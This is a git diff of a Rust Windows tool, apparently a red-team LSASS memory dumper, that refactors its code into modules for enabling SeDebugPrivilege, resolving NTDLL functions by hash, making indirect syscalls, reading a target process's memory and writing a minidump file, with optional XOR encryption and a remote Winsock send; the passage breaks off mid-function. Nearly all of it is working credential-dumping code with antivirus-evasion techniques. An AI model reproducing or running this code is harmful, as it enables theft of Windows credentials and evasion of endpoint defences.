crate::native::ntfile::save_file; + /// Enables SeDebugPrivilege for the process. /// This is necessary to access system processes like `lsass.exe`. pub fn initialize_privileges() -> i32 { @@ -48,7 +48,6 @@ pub fn perform_memory_dump( let mut memory64list: Vec = Vec::new(); let mut memory_regions: Vec = Vec::new(); - // Unsafe call to dump memory regions of the process. unsafe { dump_memory_regions( process_handle, diff --git a/src/instance.rs b/src/instance.rs new file mode 100644 index 0000000..a0c4ff8 --- /dev/null +++ b/src/instance.rs @@ -0,0 +1,57 @@ +use crate::native::{ntapi::NtDll, ntdef::find_peb}; + +#[cfg(feature = "debug")] +use crate::debug::k32::Kernel32; + +#[cfg(feature = "remote")] +use crate::remote::winsock::Winsock; + +// A magic number to identify a valid `Instance` struct +pub const INSTANCE_MAGIC: u32 = 0x17171717; + +#[repr(C)] +// The main structure holding system API modules and the magic value +pub struct Instance { + pub magic: u32, // Unique value to identify a valid instance + pub ntdll: NtDll, // NtDll API functions + + #[cfg(feature = "debug")] + pub k32: Kernel32, // Kernel32 API functions + + #[cfg(feature = "remote")] + pub winsock: Winsock, // Winsock API functions +} + +impl Instance { + pub fn new() -> Self { + Instance { + magic: INSTANCE_MAGIC, + ntdll: NtDll::new(), + + #[cfg(feature = "debug")] + k32: Kernel32::new(), + + #[cfg(feature = "remote")] + winsock: Winsock::new(), + } + } +} + +/// Attempts to locate the global `Instance` by scanning process heaps and +/// returns a mutable reference to it if found. +pub unsafe fn get_instance() -> Option<&'static mut Instance> { + let peb = find_peb(); // Locate the PEB (Process Environment Block) + let process_heaps = (*peb).process_heaps; + let number_of_heaps = (*peb).number_of_heaps as usize; + + for i in 0..number_of_heaps { + let heap = *process_heaps.add(i); + if !heap.is_null() { + let instance = &mut *(heap as *mut Instance); + if instance.magic == INSTANCE_MAGIC { + return Some(instance); // Return the instance if the magic value matches + } + } + } + None +} diff --git a/src/main.rs b/src/main.rs index 3668323..9700618 100644 --- a/src/main.rs +++ b/src/main.rs @@ -2,35 +2,46 @@ #![no_main] extern crate alloc; +extern crate panic_halt; + use core::ptr::null_mut; - -mod common; -mod dump; -mod helper; -mod mdfile; -mod ntapi; - -#[cfg(feature = "remote")] -mod remote; - +use dumper::mdfile::generate_memory_dump_file; use helper::{ get_process_handle, handle_output_file, initialize_privileges, perform_memory_dump, retrieve_modules, }; -use mdfile::generate_memory_dump_file; -use ntapi::{allocator::NtVirtualAlloc, def::OSVersionInfo, utils::rtl_get_version}; +use instance::get_instance; +use native::ntdef::OSVersionInfo; -#[cfg(feature = "verbose")] -use libc_print::libc_println; +use crate::native::ntpsapi::rtl_get_version; + +mod common; +mod dumper; +mod helper; +mod instance; +mod native; +mod premain; + +#[cfg(feature = "debug")] +mod debug; #[cfg(feature = "xor")] -use crate::common::xor::xor_bytes; +mod encrypt; + +#[cfg(feature = "xor")] +use encrypt::xor::xor_bytes; + +#[cfg(feature = "remote")] +mod remote; + +// Set a custom global allocator +use crate::native::allocator::NtVirtualAlloc; #[global_allocator] static GLOBAL: NtVirtualAlloc = NtVirtualAlloc; -#[no_mangle] -pub extern "C" fn _start() { +/// Initializes system modules and functions, and then starts a reverse shell. +pub unsafe fn dumpit() { #[cfg(not(feature = "remote"))] let output_file_name = "rustive.dmp"; @@ -53,11 +64,13 @@ pub extern "C" fn _start() { debug_println!("[-] Failed to retrieve process handle. Exiting!"); return; } - debug_println!("[+] Process handle: {:?}", process_handle); + + debug_println!("[+] Process handle: ", process_handle as usize, true); // Retrieve the list of loaded modules in the target process. let mut module_info_list = retrieve_modules(process_handle); if module_info_list.is_empty() { + unsafe { get_instance().unwrap().ntdll.nt_close.run(process_handle) }; debug_println!("[-] No modules found. Exiting!"); return; } @@ -65,12 +78,14 @@ pub extern "C" fn _start() { // Dumps the memory regions of the target process. let (memory64list, memory_regions) = perform_memory_dump(process_handle, &mut module_info_list); + unsafe { get_instance().unwrap().ntdll.nt_close.run(process_handle) }; + // Retrieve OS version information. let mut version_info = OSVersionInfo::new(); let status = unsafe { rtl_get_version(&mut version_info) }; if status != 0 { debug_println!( - "[-] Failed to retrieve OS Version from PEB. NTSTATUS: 0x{:X}", + "[-] Failed to retrieve OS Version from PEB with status: ", status ); } @@ -97,12 +112,3 @@ pub extern "C" fn _start() { #[cfg(not(feature = "remote"))] handle_output_file(file_bytes_to_use, output_file_name); } - -#[cfg(not(test))] -use core::panic::PanicInfo; - -#[cfg(not(test))] -#[panic_handler] -fn panic(_info: &PanicInfo) -> ! { - loop {} -} diff --git a/src/native/allocator.rs b/src/native/allocator.rs new file mode 100644 index 0000000..8b5bf82 --- /dev/null +++ b/src/native/allocator.rs @@ -0,0 +1,61 @@ +use core::{ + alloc::{GlobalAlloc, Layout}, + ffi::c_void, + ptr::null_mut, +}; + +use crate::{instance::get_instance, run_syscall}; + +pub struct NtVirtualAlloc; + +unsafe impl GlobalAlloc for NtVirtualAlloc { + /// Allocates memory as described by the given `layout` using NT system calls. + /// + /// This function uses the `NtAllocateVirtualMemory` system call to allocate memory. + /// The memory is allocated with `PAGE_READWRITE` protection, which allows both + /// reading and writing. + unsafe fn alloc(&self, layout: Layout) -> *mut u8 { + // Pointer to the allocated memory. + let mut p_address: *mut c_void = null_mut(); + // Size of the memory to allocate. + let region_size = layout.size(); + // Handle to the current process (-1). + let h_process: *mut u8 = -1isize as _; + + if let Some(instance) = get_instance() { + run_syscall!( + instance.ntdll.nt_allocate_virtual_memory.syscall.number, + instance.ntdll.nt_allocate_virtual_memory.syscall.address as usize, + h_process, + &mut p_address, + 0, + &mut (region_size as usize) as *mut usize, + 0x3000, // MEM_COMMIT | MEM_RESERVE + 0x04 // PAGE_READWRITE + ); + } + + p_address as *mut u8 + } + + /// Deallocates the block of memory at the given `ptr` pointer with the given `layout` using NT system calls. + /// + /// This function uses the `NtFreeVirtualMemory` system call to deallocate memory. + unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) { + // Size of the memory to deallocate. + let mut region_size = layout.size(); + // Handle to the current process (-1). + let h_process: *mut u8 = -1isize as _; + + if let Some(instance) = get_instance() { + run_syscall!( + instance.ntdll.nt_free_virtual_memory.syscall.number, + instance.ntdll.nt_free_virtual_memory.syscall.address as usize, + h_process, + &mut (ptr as *mut c_void), + &mut region_size, + 0x8000 // MEM_RELEASE + ); + } + } +} diff --git a/src/ntapi/syscall_gate.rs b/src/native/gate.rs similarity index 83% rename from src/ntapi/syscall_gate.rs rename to src/native/gate.rs index 5ecb7a8..a569090 100644 --- a/src/ntapi/syscall_gate.rs +++ b/src/native/gate.rs @@ -1,50 +1,6 @@ -use core::arch::global_asm; - -global_asm!( - r#" -.globl do_syscall - -.section .text - -do_syscall: - mov [rsp - 0x8], rsi - mov [rsp - 0x10], rdi - mov [rsp - 0x18], r12 - - xor r10, r10 - mov rax, rcx - mov r10, rax - - mov eax, ecx - - mov r12, rdx - mov rcx, r8 - - mov r10, r9 - mov rdx, [rsp + 0x28] - mov r8, [rsp + 0x30] - mov r9, [rsp + 0x38] - - sub rcx, 0x4 - jle skip - - lea rsi, [rsp + 0x40] - lea rdi, [rsp + 0x28] - - rep movsq -skip: - mov rcx, r12 - - mov rsi, [rsp - 0x8] - mov rdi, [rsp - 0x10] - mov r12, [rsp - 0x18] - - jmp rcx -"# -); - extern "C" { - pub fn do_syscall(ssn: u16, addr: usize, n_args: u32, ...) -> i32; + // Declaration of an external syscall function with a variadic argument list + pub fn isyscall(ssn: u16, addr: usize, n_args: u32, ...) -> i32; } #[cfg(target_arch = "x86_64")] @@ -62,7 +18,7 @@ macro_rules! run_syscall { // Perform the syscall with the given number, address (offset by 0x12), // argument count, and the arguments - unsafe { $crate::ntapi::syscall_gate::do_syscall($ssn, $addr + 0x12, cnt, $($y), +) } + unsafe { $crate::native::gate::isyscall($ssn, $addr + 0x12, cnt, $($y), +) } } } } @@ -71,7 +27,6 @@ const UP: isize = -32; // Constant for upward memory search const DOWN: usize = 32; // Constant for downward memory search pub unsafe fn get_ssn(address: *mut u8) -> u16 { - // Check if the address is null if address.is_null() { return 0; } @@ -85,7 +40,6 @@ pub unsafe fn get_ssn(address: *mut u8) -> u16 { && address.add(6).read() == 0x00 && address.add(7).read() == 0x00 { - // Extract the syscall number from the instruction let high = address.add(5).read() as u16; let low = address.add(4).read() as u16; return ((high << 8) | low) as u16; diff --git a/src/native/memory.rs b/src/native/memory.rs new file mode 100644 index 0000000..a2ce306 --- /dev/null +++ b/src/native/memory.rs @@ -0,0 +1,135 @@ +use alloc::string::String; +use alloc::vec; +use alloc::vec::Vec; +use core::ffi::c_void; + +use crate::{instance::get_instance, native::ntdef::MemoryBasicInformation}; + +/// Reads memory from a remote process into a buffer. +/// +/// Takes a process handle, an address, and the size of the memory to read. +/// Returns a `Vec` containing the memory contents, or `None` if reading fails. +pub fn read_memory( + process_handle: *mut c_void, + address: *mut c_void, + size: usize, +) -> Option> { + // Allocate a buffer for the memory to be read. + let mut buffer = vec![0u8; size]; + let mut bytes_read: usize = 0; + + // Perform the memory read operation using the NT API. + let result = unsafe { + get_instance().unwrap().ntdll.nt_read_virtual_memory.run( + process_handle, + address, + buffer.as_mut_ptr() as *mut c_void, + size, + &mut bytes_read, + ) + }; + + // Return the buffer if successful, otherwise return None. + if result == 0 && bytes_read > 0 { + Some(buffer) + } else { + None + } +} + +/// Queries information about a memory region in a remote process. +/// +/// Returns a `MemoryBasicInformation` struct containing details about the memory region, +/// or `None` if querying fails. +pub fn query_memory_info( + process_handle: *mut c_void, + base_address: *mut c_void, +) -> Option { + let mut mem_info: MemoryBasicInformation = unsafe { core::mem::zeroed() }; + + // Query memory information for the given address in the remote process. + let result = unsafe { + get_instance().unwrap().ntdll.nt_query_virtual_memory.run( + process_handle, + base_address, + 0, + &mut mem_info as *mut _ as *mut c_void, + core::mem::size_of::() as usize, + core::ptr::null_mut(), + ) + }; + + // Return memory information if successful, otherwise return None. + if result == 0 { + Some(mem_info) + } else { + None + } +} + +/// Reads a wide string (UTF-16) from a remote process's memory. +/// +/// Converts the UTF-16 encoded string from the remote process into a `String` and returns it. +/// If reading fails or the string is invalid, returns an empty `String`. +pub fn read_remote_wstr(process_handle: *mut c_void, mem_address: *mut c_void) -> String { + let mut buffer = vec![0u8; 512]; // Buffer for reading memory. + let mut bytes_read: usize = 0; + + // Read memory from the remote process. + let status = unsafe { + get_instance().unwrap().ntdll.nt_read_virtual_memory.run( + process_handle, + mem_address, + buffer.as_mut_ptr() as *mut c_void, + buffer.len(), + &mut bytes_read, + ) + }; + + if status == 0 { + let mut u16_vec = Vec::new(); + // Process the buffer in chunks of 2 bytes (for UTF-16 encoding). + for chunk in buffer.chunks(2) { + if chunk.len() < 2 { + break; + } + let word = u16::from_le_bytes([chunk[0], chunk[1]]); + if word == 0 { + break; + } + u16_vec.push(word); + } + // Convert the UTF-16 data into a Rust String. + String::from_utf16(&u16_vec).unwrap_or_else(|_| String::new()) + } else { + String::new() + } +} + +/// Reads a pointer-sized integer from a remote process's memory. +/// +/// Returns the integer value read from the memory address in the remote process, +/// or `0` if the read operation fails. +pub fn read_remote_int_ptr(process_handle: *mut c_void, mem_address: *mut c_void) -> usize { + let mut buffer = [0u8; 8]; // Buffer for reading an integer (64 bits). + let mut bytes_read: usize = 0; + + // Read the pointer-sized integer from the remote process. + let status = unsafe { + get_instance().unwrap().ntdll.nt_read_virtual_memory.run( + process_handle, + mem_address, + buffer.as_mut_ptr() as *mut c_void, + buffer.len(), + &mut bytes_read, + ) + }; + + // Convert the bytes into a 64-bit unsigned integer and return it as usize. + if status == 0 { + let value = u64::from_le_bytes(buffer); + value as usize + } else { + 0 + } +} diff --git a/src/native/mod.rs b/src/native/mod.rs new file mode 100644 index 0000000..31e2886 --- /dev/null +++ b/src/native/mod.rs @@ -0,0 +1,9 @@ +pub mod allocator; +pub mod gate; +pub mod memory; +pub mod ntapi; +pub mod ntdef; +pub mod ntpsapi; + +#[cfg(not(feature = "remote"))] +pub mod ntfile; diff --git a/src/ntapi/syscall.rs b/src/native/ntapi.rs similarity index 80% rename from src/ntapi/syscall.rs rename to src/native/ntapi.rs index 1a88ad6..4abb6d8 100644 --- a/src/ntapi/syscall.rs +++ b/src/native/ntapi.rs @@ -4,11 +4,16 @@ use core::{ }; use crate::{ - ntapi::def::{AccessMask, IoStatusBlock, LargeInteger, ObjectAttributes, UnicodeString}, + common::ldrapi::{ldr_function, ldr_module}, + instance::get_instance, + native::{ + gate::get_ssn, + ntdef::{IoStatusBlock, LargeInteger, ObjectAttributes, UnicodeString}, + }, run_syscall, }; -use super::def::TokenPrivileges; +use super::ntdef::TokenPrivileges; pub struct NtSyscall { /// The number of the syscall @@ -186,7 +191,7 @@ impl NtOpenProcess { pub fn run( &self, process_handle: &mut *mut c_void, - desired_access: AccessMask, + desired_access: c_ulong, object_attributes: &mut ObjectAttributes, client_id: *mut c_void, ) -> i32 { @@ -475,7 +480,7 @@ impl NtOpenProcessToken { pub fn run( &self, process_handle: *mut c_void, - desired_access: AccessMask, + desired_access: c_ulong, token_handle: &mut *mut c_void, ) -> i32 { run_syscall!( @@ -592,3 +597,110 @@ impl NtDll { } } } + +pub unsafe fn init_ntdll_funcs() { + const NTDLL_HASH: u32 = 0x1edab0ed; + + let instance = get_instance().unwrap(); + + instance.ntdll.module_base = ldr_module(NTDLL_HASH); + + // Resolve LdrLoadDll + let ldr_load_dll_addr = ldr_function(instance.ntdll.module_base, 0x9e456a43); + instance.ntdll.ldr_load_dll = core::mem::transmute(ldr_load_dll_addr); + + // NtAllocateVirtualMemory + instance.ntdll.nt_allocate_virtual_memory.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_allocate_virtual_memory.syscall.hash, + ); + instance.ntdll.nt_allocate_virtual_memory.syscall.number = + get_ssn(instance.ntdll.nt_allocate_virtual_memory.syscall.address); + + // NtFreeVirtualMemory + instance.ntdll.nt_free_virtual_memory.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_free_virtual_memory.syscall.hash, + ); + instance.ntdll.nt_free_virtual_memory.syscall.number = + get_ssn(instance.ntdll.nt_free_virtual_memory.syscall.address); + + // NtReadVirtualMemory + instance.ntdll.nt_read_virtual_memory.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_read_virtual_memory.syscall.hash, + ); + instance.ntdll.nt_read_virtual_memory.syscall.number = + get_ssn(instance.ntdll.nt_read_virtual_memory.syscall.address); + + // NtQueryVirtualMemory + instance.ntdll.nt_query_virtual_memory.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_query_virtual_memory.syscall.hash, + ); + instance.ntdll.nt_query_virtual_memory.syscall.number = + get_ssn(instance.ntdll.nt_query_virtual_memory.syscall.address); + + // NtOpenProcess + instance.ntdll.nt_open_process.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_open_process.syscall.hash, + ); + instance.ntdll.nt_open_process.syscall.number = + get_ssn(instance.ntdll.nt_open_process.syscall.address); + + // NtQuerySystemInformation + instance.ntdll.nt_query_system_information.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_query_system_information.syscall.hash, + ); + instance.ntdll.nt_query_system_information.syscall.number = + get_ssn(instance.ntdll.nt_query_system_information.syscall.address); + + // NtQueryInformationProcess + instance.ntdll.nt_query_information_process.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_query_information_process.syscall.hash, + ); + instance.ntdll.nt_query_information_process.syscall.number = + get_ssn(instance.ntdll.nt_query_information_process.syscall.address); + + // NtCreateFile + instance.ntdll.nt_create_file.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_create_file.syscall.hash, + ); + instance.ntdll.nt_create_file.syscall.number = + get_ssn(instance.ntdll.nt_create_file.syscall.address); + + // NtWriteFile + instance.ntdll.nt_write_file.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_write_file.syscall.hash, + ); + instance.ntdll.nt_write_file.syscall.number = + get_ssn(instance.ntdll.nt_write_file.syscall.address); + + // NtClose + instance.ntdll.nt_close.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_close.syscall.hash, + ); + instance.ntdll.nt_close.syscall.number = get_ssn(instance.ntdll.nt_close.syscall.address); + + // NtOpenProcessToken + instance.ntdll.nt_open_process_token.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_open_process_token.syscall.hash, + ); + instance.ntdll.nt_open_process_token.syscall.number = + get_ssn(instance.ntdll.nt_open_process_token.syscall.address); + + // NtAdjustPrivilegesToken + instance.ntdll.nt_adjust_privileges_token.syscall.address = ldr_function( + instance.ntdll.module_base, + instance.ntdll.nt_adjust_privileges_token.syscall.hash, + ); + instance.ntdll.nt_adjust_privileges_token.syscall.number = + get_ssn(instance.ntdll.nt_adjust_privileges_token.syscall.address); +} diff --git a/src/ntapi/def.rs b/src/native/ntdef.rs similarity index 95% rename from src/ntapi/def.rs rename to src/native/ntdef.rs index 56072f9..07eb3dc 100644 --- a/src/ntapi/def.rs +++ b/src/native/ntdef.rs @@ -1,14 +1,9 @@ -use core::{ - arch::asm, - ffi::{c_long, c_ulong, c_void}, - ptr, -}; +use core::arch::asm; +use core::ffi::{c_long, c_ulong, c_void}; +use core::ptr; use crate::common::utils::string_length_w; -pub const PROCESS_QUERY_INFORMATION: AccessMask = 0x0400; -pub const PROCESS_VM_READ: AccessMask = 0x0010; - pub const IMAGE_DOS_SIGNATURE: u16 = 0x5A4D; // "MZ" pub const IMAGE_NT_SIGNATURE: u32 = 0x00004550; // "PE\0\0" @@ -52,80 +47,6 @@ impl UnicodeString { } } -pub type ULONG = c_ulong; -pub type HANDLE = *mut c_void; -pub type AccessMask = ULONG; - -#[repr(C)] -pub struct ObjectAttributes { - pub length: ULONG, - pub root_directory: HANDLE, - pub object_name: *mut UnicodeString, - pub attributes: ULONG, - pub security_descriptor: *mut c_void, - pub security_quality_of_service: *mut c_void, -} - -impl ObjectAttributes { - pub fn new() -> Self { - ObjectAttributes { - length: 0, - root_directory: ptr::null_mut(), - object_name: ptr::null_mut(), - attributes: 0, - security_descriptor: ptr::null_mut(), - security_quality_of_service: ptr::null_mut(), - } - } - - //InitializeObjectAttributes - pub fn initialize( - p: &mut ObjectAttributes, - n: *mut UnicodeString, - a: ULONG, - r: HANDLE, - s: *mut c_void, - ) { - p.length = core::mem::size_of::() as ULONG; - p.root_directory = r; - p.attributes = a; - p.object_name = n; - p.security_descriptor = s; - p.security_quality_of_service = ptr::null_mut(); - } -} - -#[repr(C)] -pub struct MemoryBasicInformation { - pub base_address: *mut c_void, - pub allocation_base: *mut c_void, - pub allocation_protect: u32, - pub region_size: u64, - pub state: u32, - pub protect: u32, - pub r#type: u32, -} - -#[repr(C)] -pub struct ProcessBasicInformation { - pub exit_status: i32, - pub peb_base_address: *mut c_void, - pub affinity_mask: usize, - pub base_priority: i32, - pub unique_process_id: *mut c_void, - pub inherited_from_unique_process_id: *mut c_void, -} - -pub const MEM_COMMIT: u32 = 0x1000; -pub const PAGE_NOACCESS: u32 = 0x01; - -#[repr(C)] -#[derive(Clone, Copy)] -pub struct LargeInteger { - pub low_part: u32, - pub high_part: i32, -} - #[repr(C)] #[derive(Copy, Clone)] pub struct SectionPointer { @@ -383,6 +304,81 @@ pub fn find_peb() -> *mut PEB { peb_ptr } +#[repr(C)] +#[derive(Clone, Copy)] +pub struct LargeInteger { + pub low_part: u32, + pub high_part: i32, +} + +#[repr(C)] +pub struct ClientId { + pub unique_process: *mut c_void, + pub unique_thread: *mut c_void, +} + +impl ClientId { + pub fn new() -> Self { + ClientId { + unique_process: core::ptr::null_mut(), + unique_thread: core::ptr::null_mut(), + } + } +} + +#[repr(C)] +pub struct ObjectAttributes { + pub length: c_ulong, + pub root_directory: *mut c_void, + pub object_name: *mut UnicodeString, + pub attributes: c_ulong, + pub security_descriptor: *mut c_void, + pub security_quality_of_service: *mut c_void, +} + +impl ObjectAttributes { + pub fn new() -> Self { + ObjectAttributes { + length: 0, + root_directory: ptr::null_mut(), + object_name: ptr::null_mut(), + attributes: 0, + security_descriptor: ptr::null_mut(), + security_quality_of_service: ptr::null_mut(), + } + } + + //InitializeObjectAttributes + pub fn initialize( + p: &mut ObjectAttributes, + n: *mut UnicodeString, + a: c_ulong, + r: *mut c_void, + s: *mut c_void, + ) { + p.length = core::mem::size_of::() as c_ulong; + p.root_directory = r; + p.attributes = a; + p.object_name = n; + p.security_descriptor = s; + p.security_quality_of_service = ptr::null_mut(); + } +} + +#[repr(C)] +pub union IO_STATUS_BLOCK_u { + pub status: i32, + pub pointer: *mut c_void, +} + +#[repr(C)] +pub struct IoStatusBlock { + pub u: IO_STATUS_BLOCK_u, + pub information: c_ulong, +} + +pub const OBJ_CASE_INSENSITIVE: c_ulong = 0x40; + #[repr(C)] pub struct OSVersionInfo { pub dw_os_version_info_size: u32, @@ -390,7 +386,7 @@ pub struct OSVersionInfo { pub dw_minor_version: u32, pub dw_build_number: u32, pub dw_platform_id: u32, - pub sz_csd_version: [u16; 128], // WCHAR is usually represented as u16 in Rust + pub sz_csd_version: [u16; 128], pub dw_os_version_info_size_2: u32, pub dw_major_version_2: u32, pub dw_minor_version_2: u32, @@ -415,20 +411,31 @@ impl OSVersionInfo { } } } -#[allow(dead_code)] + #[repr(C)] -pub union IO_STATUS_BLOCK_u { - pub status: i32, - pub pointer: *mut c_void, +pub struct MemoryBasicInformation { + pub base_address: *mut c_void, + pub allocation_base: *mut c_void, + pub allocation_protect: u32, + pub region_size: u64, + pub state: u32, + pub protect: u32, + pub r#type: u32, } -#[allow(dead_code)] #[repr(C)] -pub struct IoStatusBlock { - pub u: IO_STATUS_BLOCK_u, - pub information: u32, +pub struct ProcessBasicInformation { + pub exit_status: i32, + pub peb_base_address: *mut c_void, + pub affinity_mask: usize, + pub base_priority: i32, + pub unique_process_id: *mut c_void, + pub inherited_from_unique_process_id: *mut c_void, } +pub const MEM_COMMIT: u32 = 0x1000; +pub const PAGE_NOACCESS: u32 = 0x01; + #[repr(C)] pub struct LUID { pub low_part: u32, @@ -496,20 +503,6 @@ pub struct SystemThreadInformation { pub wait_reason: u32, } -#[repr(C)] -pub struct ClientId { - pub unique_process: *mut c_void, - pub unique_thread: *mut c_void, -} - -impl ClientId { - pub fn new() -> Self { - ClientId { - unique_process: core::ptr::null_mut(), - unique_thread: core::ptr::null_mut(), - } - } -} - pub const STATUS_INFO_LENGTH_MISMATCH: i32 = 0xC0000004u32 as i32; -pub const OBJ_CASE_INSENSITIVE: u32 = 0x40; +pub const PROCESS_QUERY_INFORMATION: c_ulong = 0x0400; +pub const PROCESS_VM_READ: c_ulong = 0x0010; diff --git a/src/native/ntfile.rs b/src/native/ntfile.rs new file mode 100644 index 0000000..67a3baf --- /dev/null +++ b/src/native/ntfile.rs @@ -0,0 +1,216 @@ +use core::ffi::c_ulong; + +use crate::{debug_println, instance::get_instance}; + +use alloc::{string::String, vec::Vec}; + +use super::ntdef::{ + find_peb, IoStatusBlock, LargeInteger, ObjectAttributes, RtlUserProcessParameters, + UnicodeString, +}; + +pub const SYNCHRONIZE: c_ulong = 0x00100000; +pub const STANDARD_RIGHTS_WRITE: c_ulong = 0x00020000; + +pub const FILE_WRITE_DATA: c_ulong = 0x00000002; +pub const FILE_WRITE_ATTRIBUTES: c_ulong = 0x00000100; +pub const FILE_WRITE_EA: c_ulong = 0x00000010; +pub const FILE_APPEND_DATA: c_ulong = 0x00000004; +pub const FILE_GENERIC_WRITE: u32 = STANDARD_RIGHTS_WRITE + | FILE_WRITE_DATA + | FILE_WRITE_ATTRIBUTES + | FILE_WRITE_EA + | FILE_APPEND_DATA + | SYNCHRONIZE; +pub const FILE_OVERWRITE_IF: u32 = 0x00000005; + +pub const FILE_SYNCHRONOUS_IO_NONALERT: u32 = 0x00000020; +pub const FILE_NON_DIRECTORY_FILE: u32 = 0x00000040; + +pub const FILE_SHARE_READ: c_ulong = 0x00000001; +pub const FILE_SHARE_WRITE: c_ulong = 0x00000002; + +pub fn save_file(dump_file_bytes: Vec, dump_file_name: &str) -> i32 { + use core::{ffi::c_void, ptr::null_mut}; + + let mut handle: *mut c_void = null_mut(); + + // Retrieve current directory and handle failure + let cwd = get_current_directory(); + if cwd.is_empty() { + debug_println!("[-] Failed to retrieve current working directory"); + return -1; + } + + let mut buffer = [0u8; 512]; + + // Build NT path and handle failure + let file_name = build_nt_path(&cwd, dump_file_name, &mut buffer); + if file_name.is_empty() { + debug_println!("[-] Failed to build NT path for file"); + return -1; + } + + let file_path: Vec = { + let mut vec = Vec::with_capacity(file_name.len() + 1); + for c in file_name.encode_utf16() { + vec.push(c); + } + vec.push(0); + vec + }; + + // Initialize a Unicode string for the file path + let mut unicode_string = UnicodeString::new(); + unicode_string.init(file_path.as_ptr()); + + let mut object_attributes = ObjectAttributes::new(); + ObjectAttributes::initialize( + &mut object_attributes, + &mut unicode_string, // NT path name + 0, // Flags for case-insensitivity and inheritance + null_mut(), // No root directory + null_mut(), // No security descriptor + ); + + let mut io_status_block: IoStatusBlock = unsafe { core::mem::zeroed() }; + + let allocation_size: *mut LargeInteger = null_mut(); + + let desired_access: c_ulong = FILE_GENERIC_WRITE | SYNCHRONIZE; + + let share_access: c_ulong = FILE_SHARE_READ | FILE_SHARE_WRITE; + + let create_options: c_ulong = FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT; + + let create_disposition: c_ulong = FILE_OVERWRITE_IF; + + // Create the file using NtCreateFile + let status: i32 = unsafe { + get_instance().unwrap().ntdll.nt_create_file.run( + &mut handle, + desired_access, + &mut object_attributes, + &mut io_status_block, + allocation_size, + 0, + share_access, + create_disposition, + create_options, + null_mut(), + 0, + ) + }; + + if status < 0 { + debug_println!("[-] Failed to create file with status: ", status); + return status; + } + + // Initialize IO_STATUS_BLOCK for NtWriteFile + let mut io_status_block_write: IoStatusBlock = unsafe { core::mem::zeroed() }; + + // Write the file content using NtWriteFile + let status_write = unsafe { + get_instance().unwrap().ntdll.nt_write_file.run( + handle, + null_mut(), + null_mut(), + null_mut(), + &mut io_status_block_write, + dump_file_bytes.as_ptr() as *mut c_void, + dump_file_bytes.len() as u32, + null_mut(), + null_mut(), + ) + }; + + if status_write < 0 { + debug_println!("[-] Failed to write to file with status: ", status_write); + unsafe { get_instance().unwrap().ntdll.nt_close.run(handle) }; + } else { + debug_println!("[+] File created successfully!"); + } + + // Close the file handle + unsafe { get_instance().unwrap().ntdll.nt_close.run(handle) }; + + status_write +} + +pub fn unicodestring_to_string(unicode_string: &UnicodeString) -> Option { + if unicode_string.length == 0 || unicode_string.buffer.is_null() { + return None; + } + + let slice = unsafe { + core::slice::from_raw_parts(unicode_string.buffer, (unicode_string.length / 2) as usize) + }; + + String::from_utf16(slice).ok() +} + +/// Retrieves the current working directory of the process by accessing the Process Environment Block (PEB). +pub fn get_current_directory() -> String { + unsafe { + let peb = find_peb(); + if !peb.is_null() { + let process_parameters = (*peb).process_parameters as *mut RtlUserProcessParameters; + let cur_dir = &mut process_parameters.as_mut().unwrap().current_directory_path; + + let dir_str = unicodestring_to_string(&(*cur_dir)); + if dir_str.is_some() { + return dir_str.unwrap(); + } + } + } + String::new() +} + +/// Builds an NT path based on the current working directory (cwd) and a file name. +pub fn build_nt_path<'a>(cwd: &str, file_name: &str, buffer: &'a mut [u8]) -> &'a str { + let mut offset = 0; + + let nt_prefix = b"\\??\\"; + if nt_prefix.len() > buffer.len() { + debug_println!( + "[-] Buffer too small to hold NT prefix. Length: ", + buffer.len(), + false + ); + return ""; + } + buffer[offset..offset + nt_prefix.len()].copy_from_slice(nt_prefix); + offset += nt_prefix.len(); + + let cwd_bytes = cwd.as_bytes(); + if offset + cwd_bytes.len() > buffer.len() { + debug_println!( + "[-] Buffer too small to hold current working directory. Length: ", + buffer.len(), + false + ); + return ""; + } + buffer[offset..offset + cwd_bytes.len()].copy_from_slice(cwd_bytes); + offset += cwd_bytes.len(); + + let file_name_bytes = file_name.as_bytes(); + if offset + file_name_bytes.len() > buffer.len() { + debug_println!( + "[-] Buffer too small to hold file name. Length: ", + buffer.len(), + false + ); + return ""; + } + buffer[offset..offset + file_name_bytes.len()].copy_from_slice(file_name_bytes); + offset += file_name_bytes.len(); + + if let Ok(result_str) = core::str::from_utf8(&buffer[..offset]) { + result_str + } else { + debug_println!("[-] Failed to convert buffer to UTF-8 string."); + "" + } +} diff --git a/src/ntapi/process.rs b/src/native/ntpsapi.rs similarity index 58% rename from src/ntapi/process.rs rename to src/native/ntpsapi.rs index ee04ed9..5531fdf 100644 --- a/src/ntapi/process.rs +++ b/src/native/ntpsapi.rs @@ -1,19 +1,42 @@ -#[cfg(feature = "verbose")] -use libc_print::libc_println; - use alloc::vec::Vec; -use core::{ffi::c_void, ptr::null_mut}; - -use crate::{common::utils::dbj2_hash, debug_println}; - -use super::{ - def::{ - AccessMask, ClientId, ObjectAttributes, SystemProcessInformation, OBJ_CASE_INSENSITIVE, - STATUS_INFO_LENGTH_MISMATCH, - }, - g_instance::instance, +use core::{ + ffi::{c_ulong, c_void}, + ptr::null_mut, }; +use crate::{ + debug_println, + instance::get_instance, + native::ntdef::{TokenPrivileges, LUID}, +}; + +use super::ntdef::{ + find_peb, ClientId, OSVersionInfo, ObjectAttributes, SystemProcessInformation, + OBJ_CASE_INSENSITIVE, STATUS_INFO_LENGTH_MISMATCH, +}; + +use crate::common::utils::dbj2_hash; + +pub unsafe fn rtl_get_version(lp_version_information: &mut OSVersionInfo) -> i32 { + // Get the pointer to the PEB + let peb = find_peb(); + + if lp_version_information.dw_os_version_info_size + != core::mem::size_of::() as u32 + { + return -1; + } + + // Fill in the version information from the PEB + lp_version_information.dw_major_version = 